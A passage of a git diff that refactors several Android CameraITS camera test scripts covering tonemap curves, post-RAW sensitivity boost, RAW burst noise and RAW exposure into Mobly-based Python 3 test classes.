-        assert(rgb_ratios[1] + THRESHOLD_RATIO_MIN_DIFF < rgb_ratios[2])
+_COLORS = ('R', 'G', 'B')
+_L_TMAP = 32
+_MAX_RGB_MEANS_DIFF = 0.05  # max RBG means diff for same tonemaps
+_MIN_RGB_RATIO_DIFF = 0.1  # min RGB ratio diff for different tonemaps
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NUM_COLORS = len(_COLORS)
+_PATCH_H = 0.1  # center 10%
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
 
 
-        # Test 2: that the length of the tonemap curve (i.e. number of control
-        # points) doesn't affect the output.
-        rgb_means = []
+def compute_means_and_save(cap, img_name):
+  """Compute the RGB means of a capture and save image.
 
-        for size in [32,64]:
-            m = float(size-1)
-            curve = sum([[i/m, i/m] for i in range(size)], [])
-            req = its.objects.manual_capture_request(s,e)
-            req["android.tonemap.mode"] = 0
-            req["android.tonemap.curve"] = {
-                "red": curve, "green": curve, "blue": curve}
-            cap = cam.do_capture(req)
-            img = its.image.convert_capture_to_rgb_image(cap)
-            its.image.write_image(
-                    img, "%s_size=%02d.jpg" %(NAME, size))
-            tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-            rgb_means.append(its.image.compute_image_means(tile))
+  Args:
+    cap: 'YUV' or 'JPEG' capture.
+    img_name: text for saved image name.
 
-        rgb_diffs = [rgb_means[1][i] - rgb_means[0][i] for i in xrange(3)]
-        print "Test 2: RGB diffs:", rgb_diffs
-        assert(abs(rgb_diffs[0]) < THRESHOLD_DIFF_MAX_DIFF)
-        assert(abs(rgb_diffs[1]) < THRESHOLD_DIFF_MAX_DIFF)
-        assert(abs(rgb_diffs[2]) < THRESHOLD_DIFF_MAX_DIFF)
+  Returns:
+    RGB means.
+  """
+  img = image_processing_utils.convert_capture_to_rgb_image(cap)
+  image_processing_utils.write_image(img, img_name)
+  patch = image_processing_utils.get_image_patch(
+      img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+  rgb_means = image_processing_utils.compute_image_means(patch)
+  logging.debug('RGB means: %s', str(rgb_means))
+  return rgb_means
+
+
+class ParamTonemapModeTest(its_base_test.ItsBaseTest):
+  """Test that android.tonemap.mode param is applied.
+
+  Applies different tonemap curves to each R,G,B channel, and checks that the
+  output images are modified as expected.
+
+  The HAL3.2 spec requires curves up to l=64 control pts must be supported.
+
+  Test #1: test tonemap curves have expected effect.
+  Take two shots where each has a linear tonemap, with the 2nd shot having a
+  steeper gradient. The gradient for each R,G,B channel increases.
+  i.e. R[n=1] should be brighter than R[n=0], and G[n=1] should be brighter
+  than G[n=0] by a larger margin, etc.
+
+  Test #2: length of tonemap curve (i.e. num of pts) has no effect
+  Take two shots with tonemap curve of length _L_TMAP and _L_TMAP*2
+  The two shots should be the same.
+  """
+
+  def test_param_tonemap_mode(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props))
+      log_path = self.log_path
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Determine format, exposure and gain for requests
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      exp, sens = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['midExposureTime']
+      exp //= 2
+
+      # Test 1
+      means_1 = []
+      for n in [0, 1]:
+        req = capture_request_utils.manual_capture_request(sens, exp)
+        req['android.tonemap.mode'] = 0
+        req['android.tonemap.curve'] = {
+            'red': sum([[i/(_L_TMAP-1), min(1.0, (1+0.5*n)*i/(_L_TMAP-1))]
+                        for i in range(_L_TMAP)], []),
+            'green': sum([[i/(_L_TMAP-1), min(1.0, (1+1.0*n)*i/(_L_TMAP-1))]
+                          for i in range(_L_TMAP)], []),
+            'blue': sum([[i/(_L_TMAP-1), min(1.0, (1+1.5*n)*i/(_L_TMAP-1))]
+                         for i in range(_L_TMAP)], [])}
+        cap = cam.do_capture(req, fmt)
+        img_name = '%s_n=%d.jpg' % (os.path.join(log_path, _NAME), n)
+        means_1.append(compute_means_and_save(cap, img_name))
+      rgb_ratios = [means_1[1][i]/means_1[0][i] for i in range(_NUM_COLORS)]
+      logging.debug('Test 1: RGB ratios: %s', str(rgb_ratios))
+
+      # assert proper behavior
+      for i in range(_NUM_COLORS-1):
+        if rgb_ratios[i+1]-rgb_ratios[i] < _MIN_RGB_RATIO_DIFF:
+          raise AssertionError(
+              f'RGB ratios {i+1}: {rgb_ratios[i+1]:.4f}, {i}: '
+              f'{rgb_ratios[i]:.4f}, ATOL: {_MIN_RGB_RATIO_DIFF}')
+
+      # Test 2
+      means_2 = []
+      for size in [_L_TMAP, 2*_L_TMAP]:
+        tonemap_curve = sum([[i/(size-1)]*2 for i in range(size)], [])
+        req = capture_request_utils.manual_capture_request(sens, exp)
+        req['android.tonemap.mode'] = 0
+        req['android.tonemap.curve'] = {'red': tonemap_curve,
+                                        'green': tonemap_curve,
+                                        'blue': tonemap_curve}
+        cap = cam.do_capture(req)
+        img_name = '%s_size=%02d.jpg' % (os.path.join(log_path, _NAME), size)
+        means_2.append(compute_means_and_save(cap, img_name))
+
+      rgb_diffs = [means_2[1][i] - means_2[0][i] for i in range(_NUM_COLORS)]
+      logging.debug('Test 2: RGB diffs: %s', str(rgb_diffs))
+
+      # assert proper behavior
+      for i, ch in enumerate(_COLORS):
+        if abs(rgb_diffs[i]) > _MAX_RGB_MEANS_DIFF:
+          raise AssertionError(f'{ch} rgb_diffs: {rgb_diffs[i]:.4f}, '
+                               f'THRESH: {_MAX_RGB_MEANS_DIFF}')
 
 if __name__ == '__main__':
-    main()
-
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py b/apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py
index 8b3ef86..40bc979 100644
--- a/apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py
+++ b/apps/CameraITS/tests/scene1_2/test_post_raw_sensitivity_boost.py
@@ -11,162 +11,202 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies post RAW sensitivity boost."""
 
+
+import logging
 import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
+import numpy as np
 
-NAME = os.path.basename(__file__).split('.')[0]
-RATIO_THRESHOLD = 0.1  # Each raw image
-# Waive the check if raw pixel value is below this level (signal too small
-# that small black level error converts to huge error in percentage)
-RAW_PIXEL_VAL_THRESHOLD = 0.03
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import error_util
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
+
+_COLORS = ('R', 'G', 'B')
+_MAX_YUV_SIZE = (1920, 1080)
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_PATCH_H = 0.1  # center 10%
+_PATCH_W = 0.1
+_PATCH_X = 0.5 - _PATCH_W/2
+_PATCH_Y = 0.5 - _PATCH_H/2
+_RATIO_TOL = 0.1  # +/-10% TOL on images vs expected values
+_RAW_PIXEL_THRESH = 0.03  # Waive check if RAW [0, 1] value below this thresh
 
 
-def main():
-    """Check post RAW sensitivity boost.
+def create_requests(cam, props, log_path):
+  """Create the requests and settings lists."""
+  w, h = capture_request_utils.get_available_output_sizes(
+      'yuv', props, _MAX_YUV_SIZE)[0]
 
-        Capture a set of raw/yuv images with different
-        sensitivity/post RAW sensitivity boost combination
-        and check if the output pixel mean matches request settings
-    """
+  if camera_properties_utils.raw16(props):
+    raw_format = 'raw'
+  elif camera_properties_utils.raw10(props):
+    raw_format = 'raw10'
+  elif camera_properties_utils.raw12(props):
+    raw_format = 'raw12'
+  else:  # should not reach here
+    raise error_util.Error('Cannot find available RAW output format')
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.raw_output(props) and
-                             its.caps.post_raw_sensitivity_boost(props) and
-                             its.caps.compute_target_exposure(props) and
-                             its.caps.per_frame_control(props) and
-                             not its.caps.mono_camera(props))
+  out_surfaces = [{'format': raw_format},
+                  {'format': 'yuv', 'width': w, 'height': h}]
+  sens_min, sens_max = props['android.sensor.info.sensitivityRange']
+  sens_boost_min, sens_boost_max = props[
+      'android.control.postRawSensitivityBoostRange']
+  exp_target, sens_target = target_exposure_utils.get_target_exposure_combos(
+      log_path, cam)['midSensitivity']
 
-        w, h = its.objects.get_available_output_sizes(
-                'yuv', props, (1920, 1080))[0]
+  reqs = []
+  settings = []
+  sens_boost = sens_boost_min
+  while sens_boost <= sens_boost_max:
+    sens_raw = int(round(sens_target * 100.0 / sens_boost))
+    if sens_raw < sens_min or sens_raw > sens_max:
+      break
+    req = capture_request_utils.manual_capture_request(sens_raw, exp_target)
+    req['android.control.postRawSensitivityBoost'] = sens_boost
+    reqs.append(req)
+    settings.append((sens_raw, sens_boost))
+    if sens_boost == sens_boost_max:
+      break
+    sens_boost *= 2
+    # Always try to test maximum sensitivity boost value
+    if sens_boost > sens_boost_max:
+      sens_boost = sens_boost_max
 
-        if its.caps.raw16(props):
-            raw_format = 'raw'
-        elif its.caps.raw10(props):
-            raw_format = 'raw10'
-        elif its.caps.raw12(props):
-            raw_format = 'raw12'
-        else:  # should not reach here
-            raise its.error.Error('Cannot find available RAW output format')
+  return settings, reqs, out_surfaces
 
-        out_surfaces = [{'format': raw_format},
-                        {'format': 'yuv', 'width': w, 'height': h}]
 
-        sens_min, sens_max = props['android.sensor.info.sensitivityRange']
-        sens_boost_min, sens_boost_max = \
-                props['android.control.postRawSensitivityBoostRange']
+def compute_patch_means(cap, props, file_name):
+  """Compute the RGB means for center patch of capture."""
 
-        e_target, s_target = \
-                its.target.get_target_exposure_combos(cam)['midSensitivity']
+  rgb_img = image_processing_utils.convert_capture_to_rgb_image(
+      cap, props=props)
+  patch = image_processing_utils.get_image_patch(
+      rgb_img, _PATCH_X, _PATCH_Y, _PATCH_W, _PATCH_H)
+  image_processing_utils.write_image(patch, file_name)
+  return image_processing_utils.compute_image_means(patch)
 
-        reqs = []
-        settings = []
-        s_boost = sens_boost_min
-        while s_boost <= sens_boost_max:
-            s_raw = int(round(s_target * 100.0 / s_boost))
-            if s_raw < sens_min or s_raw > sens_max:
-                break
-            req = its.objects.manual_capture_request(s_raw, e_target)
-            req['android.control.postRawSensitivityBoost'] = s_boost
-            reqs.append(req)
-            settings.append((s_raw, s_boost))
-            if s_boost == sens_boost_max:
-                break
-            s_boost *= 2
-            # Always try to test maximum sensitivity boost value
-            if s_boost > sens_boost_max:
-                s_boost = sens_boost_max
 
-        caps = cam.do_capture(reqs, out_surfaces)
+def create_plots(idx, raw_means, yuv_means, log_path):
+  """Create plots from data.
 
-        raw_rgb_means = []
-        yuv_rgb_means = []
-        raw_caps, yuv_caps = caps
-        if not isinstance(raw_caps, list):
-            raw_caps = [raw_caps]
-        if not isinstance(yuv_caps, list):
-            yuv_caps = [yuv_caps]
-        for i in xrange(len(reqs)):
-            (s, s_boost) = settings[i]
-            raw_cap = raw_caps[i]
-            yuv_cap = yuv_caps[i]
-            raw_rgb = its.image.convert_capture_to_rgb_image(
-                    raw_cap, props=props)
-            yuv_rgb = its.image.convert_capture_to_rgb_image(yuv_cap)
-            raw_tile = its.image.get_image_patch(raw_rgb, 0.45, 0.45, 0.1, 0.1)
-            yuv_tile = its.image.get_image_patch(yuv_rgb, 0.45, 0.45, 0.1, 0.1)
-            raw_rgb_means.append(its.image.compute_image_means(raw_tile))
-            yuv_rgb_means.append(its.image.compute_image_means(yuv_tile))
-            its.image.write_image(raw_tile, '%s_raw_s=%04d_boost=%04d.jpg' % (
-                    NAME, s, s_boost))
-            its.image.write_image(yuv_tile, '%s_yuv_s=%04d_boost=%04d.jpg' % (
-                    NAME, s, s_boost))
-            print 's=%d, s_boost=%d: raw_means %s, yuv_means %s'%(
-                    s, s_boost, raw_rgb_means[-1], yuv_rgb_means[-1])
+  Args:
+    idx: capture request indices for x-axis.
+    raw_means: array of RAW capture RGB converted means.
+    yuv_means: array of YUV capture RGB converted means.
+    log_path: path to save files.
+  """
 
-        xs = range(len(reqs))
-        pylab.plot(xs, [rgb[0] for rgb in raw_rgb_means], '-ro')
-        pylab.plot(xs, [rgb[1] for rgb in raw_rgb_means], '-go')
-        pylab.plot(xs, [rgb[2] for rgb in raw_rgb_means], '-bo')
-        pylab.ylim([0, 1])
-        name = '%s_raw_plot_means' % NAME
-        pylab.title(name)
-        pylab.xlabel('requests')
-        pylab.ylabel('RGB means')
-        matplotlib.pyplot.savefig('%s.png' % name)
-        pylab.clf()
-        pylab.plot(xs, [rgb[0] for rgb in yuv_rgb_means], '-ro')
-        pylab.plot(xs, [rgb[1] for rgb in yuv_rgb_means], '-go')
-        pylab.plot(xs, [rgb[2] for rgb in yuv_rgb_means], '-bo')
-        pylab.ylim([0, 1])
-        name = '%s_yuv_plot_means' % NAME
-        pylab.title(name)
-        pylab.xlabel('requests')
-        pylab.ylabel('RGB means')
-        matplotlib.pyplot.savefig('%s.png' % name)
+  pylab.clf()
+  for i, _ in enumerate(_COLORS):
+    pylab.plot(idx, [ch[i] for ch in yuv_means], '-'+'rgb'[i]+'s', label='YUV',
+               alpha=0.7)
+    pylab.plot(idx, [ch[i] for ch in raw_means], '-'+'rgb'[i]+'o', label='RAW',
+               alpha=0.7)
+  pylab.ylim([0, 1])
+  pylab.title('%s' % _NAME)
+  pylab.xlabel('requests')
+  pylab.ylabel('RGB means')
+  pylab.legend(loc='lower right', numpoints=1, fancybox=True)
+  matplotlib.pyplot.savefig('%s_plot_means.png' % os.path.join(log_path, _NAME))
 
-        rgb_str = ['R', 'G', 'B']
-        # Test that raw means is about 2x brighter than next step
-        for step in range(1, len(reqs)):
-            (s_prev, _) = settings[step - 1]
-            (s, s_boost) = settings[step]
-            expect_raw_ratio = s_prev / float(s)
-            raw_thres_min = expect_raw_ratio * (1 - RATIO_THRESHOLD)
-            raw_thres_max = expect_raw_ratio * (1 + RATIO_THRESHOLD)
-            for rgb in range(3):
-                ratio = raw_rgb_means[step - 1][rgb] / raw_rgb_means[step][rgb]
-                print 'Step (%d,%d) %s channel: %f, %f, ratio %f,' % (
-                        step-1, step, rgb_str[rgb],
-                        raw_rgb_means[step - 1][rgb],
-                        raw_rgb_means[step][rgb], ratio),
-                print 'threshold_min %f, threshold_max %f' % (
-                        raw_thres_min, raw_thres_max)
-                if raw_rgb_means[step][rgb] <= RAW_PIXEL_VAL_THRESHOLD:
-                    continue
-                assert raw_thres_min < ratio < raw_thres_max
 
-        # Test that each yuv step is about the same bright as their mean
-        yuv_thres_min = 1 - RATIO_THRESHOLD
-        yuv_thres_max = 1 + RATIO_THRESHOLD
-        for rgb in range(3):
-            vals = [val[rgb] for val in yuv_rgb_means]
-            for step in range(len(reqs)):
-                if raw_rgb_means[step][rgb] <= RAW_PIXEL_VAL_THRESHOLD:
-                    vals = vals[:step]
-            mean = sum(vals) / len(vals)
-            print '%s channel vals %s mean %f'%(rgb_str[rgb], vals, mean)
-            for step in range(len(vals)):
-                ratio = vals[step] / mean
-                assert yuv_thres_min < ratio < yuv_thres_max
+class PostRawSensitivityBoost(its_base_test.ItsBaseTest):
+  """Check post RAW sensitivity boost.
+
+  Captures a set of RAW/YUV images with different sensitivity/post RAW
+  sensitivity boost combination and checks if output means match req settings
+
+  RAW images should get brighter. YUV images should stay about the same.
+    asserts RAW is ~2x brighter per step
+    asserts YUV is about the same per step
+  """
+
+  def test_post_raw_sensitivity_boost(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw_output(props) and
+          camera_properties_utils.post_raw_sensitivity_boost(props) and
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
+      log_path = self.log_path
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      # Create reqs & do caps
+      settings, reqs, out_surfaces = create_requests(cam, props, log_path)
+      raw_caps, yuv_caps = cam.do_capture(reqs, out_surfaces)
+      if not isinstance(raw_caps, list):
+        raw_caps = [raw_caps]
+      if not isinstance(yuv_caps, list):
+        yuv_caps = [yuv_caps]
+
+      # Extract data
+      raw_means = []
+      yuv_means = []
+      for i in range(len(reqs)):
+        sens, sens_boost = settings[i]
+        raw_file_name = '%s_raw_s=%04d_boost=%04d.jpg' % (
+            os.path.join(log_path, _NAME), sens, sens_boost)
+        raw_means.append(compute_patch_means(raw_caps[i], props, raw_file_name))
+
+        yuv_file_name = '%s_yuv_s=%04d_boost=%04d.jpg' % (
+            os.path.join(log_path, _NAME), sens, sens_boost)
+        yuv_means.append(compute_patch_means(yuv_caps[i], props, yuv_file_name))
+
+        logging.debug('s=%d, s_boost=%d: raw_means %s, yuv_means %s',
+                      sens, sens_boost, str(raw_means[-1]), str(yuv_means[-1]))
+      cap_idxs = range(len(reqs))
+
+      # Create plots
+      create_plots(cap_idxs, raw_means, yuv_means, log_path)
+
+      # RAW asserts
+      for step in range(1, len(reqs)):
+        sens_prev, _ = settings[step - 1]
+        sens, sens_boost = settings[step]
+        expected_ratio = sens_prev / sens
+        for ch, _ in enumerate(_COLORS):
+          ratio_per_step = raw_means[step-1][ch] / raw_means[step][ch]
+          logging.debug('Step: (%d, %d) %s channel: (%f, %f), ratio: %f,',
+                        step - 1, step, _COLORS[ch], raw_means[step - 1][ch],
+                        raw_means[step][ch], ratio_per_step)
+          if raw_means[step][ch] <= _RAW_PIXEL_THRESH:
+            continue
+          if not np.isclose(ratio_per_step, expected_ratio, atol=_RATIO_TOL):
+            raise AssertionError(
+                f'step: {step}, ratio: {ratio_per_step}, expected ratio: '
+                f'{expected_ratio}.3f, ATOL: {_RATIO_TOL}')
+
+      # YUV asserts
+      for ch, _ in enumerate(_COLORS):
+        vals = [val[ch] for val in yuv_means]
+        for idx in cap_idxs:
+          if raw_means[idx][ch] <= _RAW_PIXEL_THRESH:
+            vals = vals[:idx]
+        mean = sum(vals) / len(vals)
+        logging.debug('%s channel vals %s mean %f', _COLORS[ch], vals, mean)
+        for step in range(len(vals)):
+          ratio_mean = vals[step] / mean
+          if not np.isclose(1.0, ratio_mean, atol=_RATIO_TOL):
+            raise AssertionError(
+                f'Capture vs mean ratio: {ratio_mean}, TOL: +/- {_RATIO_TOL}')
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py b/apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py
index debf22c..c52f977 100644
--- a/apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py
+++ b/apps/CameraITS/tests/scene1_2/test_raw_burst_sensitivity.py
@@ -11,105 +11,127 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies RAW sensitivity burst."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
 import matplotlib
 from matplotlib import pylab
+from mobly import test_runner
 
-GR_PLANE = 1  # GR plane index in RGGB data
-IMG_STATS_GRID = 9  # find used to find the center 11.11%
-NAME = os.path.basename(__file__).split(".")[0]
-NUM_STEPS = 5
-VAR_THRESH = 1.01  # each shot must be 1% noisier than previous
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+_GR_PLANE_IDX = 1  # GR plane index in RGGB data
+_IMG_STATS_GRID = 9  # find used to find the center 11.11%
+_NAME = os.path.splitext(os.path.basename(__file__))[0]
+_NUM_STEPS = 5
+_VAR_THRESH = 1.01  # each shot must be 1% noisier than previous
 
 
-def main():
-    """Capture a set of raw images with increasing gains and measure the noise.
+def define_raw_stats_fmt(props):
+  """Defines the format using camera props active array width and height."""
+  aax = props['android.sensor.info.preCorrectionActiveArraySize']['left']
+  aay = props['android.sensor.info.preCorrectionActiveArraySize']['top']
+  aaw = props['android.sensor.info.preCorrectionActiveArraySize']['right'] - aax
+  aah = props[
+      'android.sensor.info.preCorrectionActiveArraySize']['bottom'] - aay
 
-    Capture raw-only, in a burst.
-    """
+  return {'format': 'rawStats',
+          'gridWidth': aaw // _IMG_STATS_GRID,
+          'gridHeight': aah // _IMG_STATS_GRID}
 
-    with its.device.ItsSession() as cam:
 
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.raw16(props) and
-                             its.caps.manual_sensor(props) and
-                             its.caps.read_3a(props) and
-                             its.caps.per_frame_control(props) and
-                             not its.caps.mono_camera(props))
-        debug = its.caps.debug_mode()
+class RawSensitivityBurstTest(its_base_test.ItsBaseTest):
+  """Captures a set of RAW images with increasing sensitivity & measures noise.
 
-        # Expose for the scene with min sensitivity
-        sens_min, _ = props["android.sensor.info.sensitivityRange"]
-        # Digital gains might not be visible on RAW data
-        sens_max = props["android.sensor.maxAnalogSensitivity"]
-        sens_step = (sens_max - sens_min) / NUM_STEPS
-        s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
-        s_e_prod = s_ae * e_ae
+  Sensitivity range (gain) is determined from camera properties and limited to
+  the analog sensitivity range as captures are RAW only in a burst. Digital
+  sensitivity range from props['android.sensor.info.sensitivityRange'] is not
+  used.
 
-        reqs = []
-        settings = []
-        for s in range(sens_min, sens_max, sens_step):
-            e = int(s_e_prod / float(s))
-            req = its.objects.manual_capture_request(s, e, f_dist)
-            reqs.append(req)
-            settings.append((s, e))
+  Uses RawStats capture format to speed up processing. RawStats defines a grid
+  over the RAW image and returns average and variance of requested areas.
+  white_level is found from camera to normalize variance values from RawStats.
 
-        if debug:
-            caps = cam.do_capture(reqs, cam.CAP_RAW)
-        else:
-            # Get the active array width and height.
-            aax = props["android.sensor.info.preCorrectionActiveArraySize"]["left"]
-            aay = props["android.sensor.info.preCorrectionActiveArraySize"]["top"]
-            aaw = props["android.sensor.info.preCorrectionActiveArraySize"]["right"]-aax
-            aah = props["android.sensor.info.preCorrectionActiveArraySize"]["bottom"]-aay
-            # Compute stats on a grid across each image.
-            caps = cam.do_capture(reqs,
-                                  {"format": "rawStats",
-                                   "gridWidth": aaw/IMG_STATS_GRID,
-                                   "gridHeight": aah/IMG_STATS_GRID})
+  Noise (image variance) of center patch should increase with increasing
+  sensitivity.
+  """
 
-        variances = []
-        for i, cap in enumerate(caps):
-            (s, e) = settings[i]
+  def test_raw_sensitivity_burst(self):
+    logging.debug('Starting %s', _NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.raw16(props) and
+          camera_properties_utils.manual_sensor(props) and
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props) and
+          not camera_properties_utils.mono_camera(props))
 
-            # Each shot should be noisier than the previous shot (as the gain
-            # is increasing). Use the variance of the center stats grid cell.
-            if debug:
-                gr = its.image.convert_capture_to_planes(cap, props)[1]
-                tile = its.image.get_image_patch(gr, 0.445, 0.445, 0.11, 0.11)
-                var = its.image.compute_image_variances(tile)[0]
-                img = its.image.convert_capture_to_rgb_image(cap, props=props)
-                its.image.write_image(img,
-                                      "%s_s=%05d_var=%f.jpg" % (NAME, s, var))
-            else:
-                # find white level
-                white_level = float(props["android.sensor.info.whiteLevel"])
-                _, var_image = its.image.unpack_rawstats_capture(cap)
-                cfa_idxs = its.image.get_canonical_cfa_order(props)
-                var = var_image[IMG_STATS_GRID/2, IMG_STATS_GRID/2,
-                                cfa_idxs[GR_PLANE]]/white_level**2
-            variances.append(var)
-            print "s=%d, e=%d, var=%e" % (s, e, var)
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        x = range(len(variances))
-        pylab.plot(x, variances, "-ro")
-        pylab.xticks(x)
-        pylab.xlabel("Setting Combination")
-        pylab.ylabel("Image Center Patch Variance")
-        matplotlib.pyplot.savefig("%s_variances.png" % NAME)
+      # Find sensitivity range and create capture requests
+      sens_min, _ = props['android.sensor.info.sensitivityRange']
+      sens_max = props['android.sensor.maxAnalogSensitivity']
+      sens_step = (sens_max - sens_min) // _NUM_STEPS
+      sens_ae, exp_ae, _, _, f_dist = cam.do_3a(get_results=True)
+      sens_exp_prod = sens_ae * exp_ae
+      reqs = []
+      settings = []
+      for sens in range(sens_min, sens_max, sens_step):
+        exp = int(sens_exp_prod / float(sens))
+        req = capture_request_utils.manual_capture_request(sens, exp, f_dist)
+        reqs.append(req)
+        settings.append((sens, exp))
 
-        # Test that each shot is noisier than the previous one.
-        x.pop()  # remove last element in x index
-        for i in x:
-            msg = 'variances [i]: %.5f, [i+1]: %.5f, THRESH: %.2f' % (
-                    variances[i], variances[i+1], VAR_THRESH)
-            assert variances[i] < variances[i+1] / VAR_THRESH, msg
+      # Get rawStats capture format
+      fmt = define_raw_stats_fmt(props)
 
-if __name__ == "__main__":
-    main()
+      # Do captures
+      caps = cam.do_capture(reqs, fmt)
 
+      # Extract variances from each shot
+      variances = []
+      for i, cap in enumerate(caps):
+        (sens, exp) = settings[i]
+
+        # Find white_level for RawStats normalization
+        white_level = float(props['android.sensor.info.whiteLevel'])
+        _, var_image = image_processing_utils.unpack_rawstats_capture(cap)
+        cfa_idxs = image_processing_utils.get_canonical_cfa_order(props)
+        var = var_image[_IMG_STATS_GRID//2, _IMG_STATS_GRID//2,
+                        cfa_idxs[_GR_PLANE_IDX]]/white_level**2
+        variances.append(var)
+        logging.debug('s=%d, e=%d, var=%e', sens, exp, var)
+
+      # Create a plot
+      x = range(len(variances))
+      pylab.figure(_NAME)
+      pylab.plot(x, variances, '-ro')
+      pylab.xticks(x)
+      pylab.ticklabel_format(style='sci', axis='y', scilimits=(-6, -6))
+      pylab.xlabel('Setting Combination')
+      pylab.ylabel('Image Center Patch Variance')
+      pylab.title(_NAME)
+      matplotlib.pyplot.savefig(
+          '%s_variances.png' % os.path.join(self.log_path, _NAME))
+
+      # Asserts that each shot is noisier than previous
+      for i in x[0:-1]:
+        e_msg = 'variances [i]: %.5f, [i+1]: %.5f, THRESH: %.2f' % (
+            variances[i], variances[i+1], _VAR_THRESH)
+        assert variances[i] < variances[i+1] / _VAR_THRESH, e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_2/test_raw_exposure.py b/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
index b3fc98f..f00e661 100644
--- a/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
+++ b/apps/CameraITS/tests/scene1_2/test_raw_exposure.py
@@ -11,155 +11,201 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies exposure times on RAW images."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
+import matplotlib
 from matplotlib import pylab
-import matplotlib.pyplot
+from mobly import test_runner
 import numpy as np
 
-IMG_STATS_GRID = 9  # find used to find the center 11.11%
-NAME = os.path.basename(__file__).split(".")[0]
-NUM_ISO_STEPS = 5
-SATURATION_TOL = 0.01
-BLK_LVL_TOL = 0.1
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+BLK_LVL_RTOL = 0.1
+BURST_LEN = 10  # break captures into burst of BURST_LEN requests
+COLORS = ['R', 'Gr', 'Gb', 'B']
+EXP_LONG_THRESH = 1E6  # 1ms
 EXP_MULT_SHORT = pow(2, 1.0/3)  # Test 3 steps per 2x exposure
 EXP_MULT_LONG = pow(10, 1.0/3)  # Test 3 steps per 10x exposure
-EXP_LONG = 1E6  # 1ms
-INCREASING_THR = 0.99
-# slice captures into burst of SLICE_LEN requests
-SLICE_LEN = 10
+IMG_DELTA_THRESH = 0.99  # Each shot must be > 0.99*previous
+IMG_SAT_RTOL = 0.01  # 1%
+IMG_STATS_GRID = 9  # find used to find the center 11.11%
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NS_TO_MS_FACTOR = 1.0E-6
+NUM_COLORS = len(COLORS)
+NUM_ISO_STEPS = 5
 
 
-def main():
-    """Capture a set of raw images with increasing exposure time and measure the pixel values.
-    """
+def create_test_exposure_list(e_min, e_max):
+  """Create the list of exposure values to test."""
+  e_list = []
+  mult = 1.0
+  while e_min*mult < e_max:
+    e_list.append(int(e_min*mult))
+    if e_min*mult < EXP_LONG_THRESH:
+      mult *= EXP_MULT_SHORT
+    else:
+      mult *= EXP_MULT_LONG
+  if e_list[-1] < e_max*IMG_DELTA_THRESH:
+    e_list.append(int(e_max))
+  return e_list
 
-    with its.device.ItsSession() as cam:
 
-        props = cam.get_camera_properties()
